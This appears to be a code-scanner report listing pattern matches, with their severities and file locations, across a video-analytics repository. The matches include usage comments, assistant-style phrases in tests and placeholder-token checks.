| LOW | …vi/rt-cv-3d/rt-cv-mv3dt/scripts/generate-transforms.sh | 23 | # Usage: | COMMENT |
| LOW | …rvices/rtvi/rt-cv-3d/rt-cv-mv3dt/scripts/kafka-dump.sh | 25 | # Usage: | COMMENT |
| LOW | …vices/rtvi/rt-cv-3d/rt-cv-mv3dt/scripts/add-streams.sh | 26 | # Usage: | COMMENT |
| LOW | …tvi/rt-cv-3d/rt-cv-mv3dt/scripts/prepare-sw-encoder.sh | 21 | # Usage: | COMMENT |
| LOW | services/rtvi/rt-cv/tests/docker-compose/compose.yaml | 25 | # Usage: | COMMENT |
| LOW | services/vios/test/bdd_tests/scripts/run_unit_tests.sh | 36 | # Usage: | COMMENT |
| LOW | services/vios/include/3rdparty/prometheus/gauge.h | 69 | /// Example usage: | COMMENT |
| LOW | services/vios/include/3rdparty/prometheus/counter.h | 57 | /// Example usage: | COMMENT |
| LOW | services/vios/include/3rdparty/prometheus/histogram.h | 79 | /// Example usage: | COMMENT |
| LOW | services/vios/include/3rdparty/prometheus/summary.h | 98 | /// Example usage: | COMMENT |
| LOW | …reamer/inc/webrtc_headers/src/rtc_base/callback_list.h | 112 | // Usage example: | COMMENT |
| LOW | …d_party/abseil-cpp/absl/strings/resize_and_overwrite.h | 31 | // Example usage: | COMMENT |
| LOW | …rc/third_party/abseil-cpp/absl/synchronization/mutex.h | 180 | // Example usage: | COMMENT |
| LOW | …s/src/third_party/abseil-cpp/absl/hash/internal/hash.h | 171 | // Example usage: | COMMENT |
| LOW | …hird_party/abseil-cpp/absl/base/internal/raw_logging.h | 39 | // Usage example: | COMMENT |
| LOW | …webrtc_streamer/inc/webrtc_headers/src/api/rtc_error.h | 265 | // Example usage: | COMMENT |
| LOW | …_headers/src/api/task_queue/pending_task_safety_flag.h | 120 | // Example usage: | COMMENT |
| LOW | services/alert/test/latency/prometheus_latency.py | 20 | # Usage: | COMMENT |
| LOW⚡ | services/alert/test/sanity/run_p1.sh | 21 | # Usage: | COMMENT |
| LOW⚡ | services/alert/test/sanity/run_sanity.sh | 21 | # Usage: | COMMENT |
| LOW | services/alert/test/sanity/scenarios/runner.sh | 38 | # Usage: | COMMENT |
| LOW | …s/behavior-analytics/tests/integration/generate_env.sh | 17 | # Usage: | COMMENT |
| LOW | …lytics/behavior-analytics/tests/integration/cleanup.sh | 17 | # Usage: | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | deploy/docker/scripts/tests/test_run_setup_notebook.py | 625 | CODE | |
| LOW | libs/vss/core/tests/unit_test/memory/group_adapters.py | 124 | CODE | |
| LOW | …tests/unit_test/lib/search_core/test_search_helpers.py | 44 | CODE | |
| LOW | …vss/core/src/vss_core/memory/backends/elasticsearch.py | 241 | CODE | |
| LOW | libs/vss/core/src/vss_core/vlm/openai.py | 53 | CODE | |
| LOW | …/vss_core/search_core/primitives/_attribute_helpers.py | 857 | CODE | |
| LOW | …src/vss_core/search_core/primitives/_search_helpers.py | 361 | CODE | |
| LOW | …vss/core/src/vss_core/search_core/primitives/search.py | 271 | CODE | |
| LOW | libs/vss/cli/src/vss_cli/summarize/memory_adapter.py | 97 | CODE | |
| LOW | …ata-utils/spatialai_data_utils/visualization/render.py | 544 | CODE | |
| LOW | …ata-utils/spatialai_data_utils/visualization/render.py | 674 | CODE | |
| LOW | …ata-utils/spatialai_data_utils/visualization/render.py | 770 | CODE | |
| LOW | …i_data_utils/visualization/camera_placement/plotter.py | 910 | CODE | |
| LOW | …i_data_utils/visualization/camera_placement/plotter.py | 1027 | CODE | |
| LOW | …ai_data_utils/visualization/video_utils/frame2video.py | 202 | CODE | |
| LOW | …ta_utils/visualization/video_utils/frame2video_grid.py | 195 | CODE | |
| LOW | …utils/spatialai_data_utils/core/cameras/group_utils.py | 209 | CODE | |
| LOW | …-utils/spatialai_data_utils/core/cameras/clustering.py | 1563 | CODE | |
| LOW | …-utils/spatialai_data_utils/core/cameras/clustering.py | 701 | CODE | |
| LOW | …-utils/spatialai_data_utils/core/cameras/clustering.py | 802 | CODE | |
| LOW | …ta-utils/spatialai_data_utils/core/cameras/grouping.py | 882 | CODE | |
| LOW | …ta-utils/spatialai_data_utils/core/cameras/grouping.py | 758 | CODE | |
| LOW | …ta-utils/spatialai_data_utils/core/cameras/grouping.py | 459 | CODE | |
| LOW | …ai-data-utils/spatialai_data_utils/core/cameras/bev.py | 52 | CODE | |
| LOW | …ai-data-utils/spatialai_data_utils/core/cameras/bev.py | 359 | CODE | |
| LOW | …ai-data-utils/spatialai_data_utils/core/cameras/bev.py | 769 | CODE | |
| LOW | …ta-utils/spatialai_data_utils/core/boxes/aicity_box.py | 84 | CODE | |
| LOW | …spatialai_data_utils/eval/tracking/aicity_mtmc_eval.py | 538 | CODE | |
| LOW | …ils/spatialai_data_utils/eval/tracking/data_classes.py | 402 | CODE | |
| LOW | …atialai_data_utils/eval/tracking/hota/metrics/clear.py | 183 | CODE | |
| LOW | …atialai_data_utils/eval/tracking/hota/metrics/clear.py | 197 | CODE | |
| LOW | …atialai_data_utils/eval/tracking/hota/metrics/clear.py | 211 | CODE | |
| LOW | …patialai_data_utils/eval/tracking/hota/metrics/hota.py | 169 | CODE | |
| LOW | …patialai_data_utils/eval/tracking/hota/metrics/hota.py | 187 | CODE | |
| LOW | …patialai_data_utils/eval/tracking/hota/metrics/hota.py | 233 | CODE | |
| LOW | …alai_data_utils/eval/tracking/hota/metrics/identity.py | 143 | CODE | |
| LOW | …alai_data_utils/eval/tracking/hota/metrics/identity.py | 183 | CODE | |
| LOW | …alai_data_utils/eval/tracking/hota/metrics/identity.py | 197 | CODE | |
| LOW | …atialai_data_utils/eval/tracking/hota/metrics/count.py | 76 | CODE | |
| LOW | …ata_utils/eval/tracking/hota/datasets/_base_dataset.py | 159 | CODE | |
| LOW | …ls/spatialai_data_utils/eval/detection/data_classes.py | 468 | CODE | |
| LOW | …ata-utils/tests/eval/tracking/test_aicity_mtmc_eval.py | 741 | CODE | |
| LOW | …ts/eval/tracking/test_aicity_mtmc_eval_orchestrator.py | 61 | CODE | |
| LOW | .github/osrb/test_osrb_summary.py | 22 | CODE | |
| LOW | .github/osrb/test_osrb_compare.py | 37 | CODE | |
| LOW | .github/osrb/test_osrb_compare.py | 65 | CODE | |
| LOW | .github/scripts/trigger_downstream_pipeline.py | 184 | CODE | |
| LOW | …rking/benchmark-video-search/scripts/run_eval_flows.py | 711 | CODE | |
| LOW | …hmarking/benchmark-video-search/scripts/flows/query.py | 117 | CODE | |
| LOW | …nchmark-video-search/scripts/flows/ingest_readiness.py | 931 | CODE | |
| LOW | …nchmark-video-search/scripts/flows/ingest_readiness.py | 665 | CODE | |
| LOW | services/rtvi/rt-embed/src/utils/asset_manager.py | 268 | CODE | |
| LOW | services/rtvi/rt-embed/src/utils/asset_manager.py | 1472 | CODE | |
| LOW | …i/rt-embed/src/vlm_pipeline/video_file_frame_getter.py | 639 | CODE | |
| LOW | …i/rt-embed/src/vlm_pipeline/video_file_frame_getter.py | 3107 | CODE | |
| LOW | …r/rtvi_vlm/patches/evs_vllm_public_files/v1/request.py | 62 | CODE | |
| LOW | …es/evs_vllm_public_files/v1/worker/gpu_model_runner.py | 1831 | CODE | |
| LOW | …es/evs_vllm_public_files/v1/worker/gpu_model_runner.py | 5330 | CODE | |
| LOW | …m/patches/evs_vllm_public_files/v1/engine/async_llm.py | 75 | CODE | |
| LOW | …m/patches/evs_vllm_public_files/v1/engine/async_llm.py | 215 | CODE | |
| 39 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | …_vllm_public_files/model_executor/models/interfaces.py | 217 | as a language model component. | STRING |
| LOW | …inc/webrtc_headers/src/api/peer_connection_interface.h | 702 | // Don't forget to update operator== if adding something. | COMMENT |
| LOW | …eaders/src/modules/rtp_rtcp/include/rtp_rtcp_defines.h | 194 | // Again, don't forget to update `kNumMediaTypes` if you add another value! | COMMENT |
| MEDIUM | …ramework/unified_storage/reader/cloud_reader_utils.cpp | 314 | // This is a basic implementation - can be enhanced for specific formats | COMMENT |
| MEDIUM | …vss_agents/tests/unit_test/tools/test_video_caption.py | 134 | assert "I'm unable to" in error_messages | CODE |
| MEDIUM⚡ | …ents/tests/unit_test/tools/test_template_report_gen.py | 442 | preamble = "Here is the populated report:\n```md\n# Incident\n\nN/A\n```\nLet me know if you need changes." | CODE |
| MEDIUM | …ents/tests/unit_test/tools/test_template_report_gen.py | 458 | "Let me know if you need changes." | CODE |
| MEDIUM | …ents/tests/unit_test/tools/test_template_report_gen.py | 481 | "Let me know if you need changes." | CODE |
| MEDIUM | …kages/vss_agents/src/vss_agents/tools/video_caption.py | 147 | "I'm unable to", | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | libs/vss/cli/tests/unit_test/cli/test_vlm_group.py | 1615 | CODE | |
| MEDIUM | .github/skill-eval/tests/test_run_leg.py | 2526 | CODE | |
| MEDIUM | .github/skill-eval/tests/test_run_leg.py | 2868 | CODE | |
| MEDIUM | services/rtvi/rt-embed/src/models/base_vlm_model.py | 196 | CODE | |
| MEDIUM | …sts/model/vllm_compatible/test_input_error_handling.py | 46 | CODE | |
| MEDIUM | services/rtvi/rt-vlm/src/models/base_vlm_model.py | 198 | CODE | |
| MEDIUM | …es/vss_agents/tests/unit_test/agents/test_top_agent.py | 1223 | CODE | |
| MEDIUM | …es/vss_agents/tests/unit_test/agents/test_top_agent.py | 1458 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH⚡ | …thub/vss-playbook-compliance/skill_compliance_check.py | 285 | r"<YOUR_TOKEN>", | CODE |
| HIGH⚡ | …thub/vss-playbook-compliance/skill_compliance_check.py | 292 | r"your[_\-]", # "your_api_key", "your-token" etc. | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …eamer/inc/webrtc_headers/src/p2p/base/port_allocator.h | 734 | // credentials as requested. | COMMENT |
| HIGH | services/sdrc/lib/bus_outcomes.py | 29 | # Event handled successfully (stream added/removed/configured as requested). | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | …ls/tests/visualization/video_utils/test_video2frame.py | 183 | path.write_bytes(b"placeholder") # so file_exists + file_size > 0 | CODE |
| LOW⚡ | …lm/tests/model/openai_compat/test_migrated_features.py | 69 | "OPENAI_API_KEY": "fake-key-for-tests", | CODE |
| LOW⚡ | services/alert/test/unit/tracing/test_tracing_module.py | 643 | assert "John Doe" not in haystack | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …vss_agents/tests/unit_test/tools/test_code_executor.py | 94 | "utils.py": "def helper(): pass", | CODE |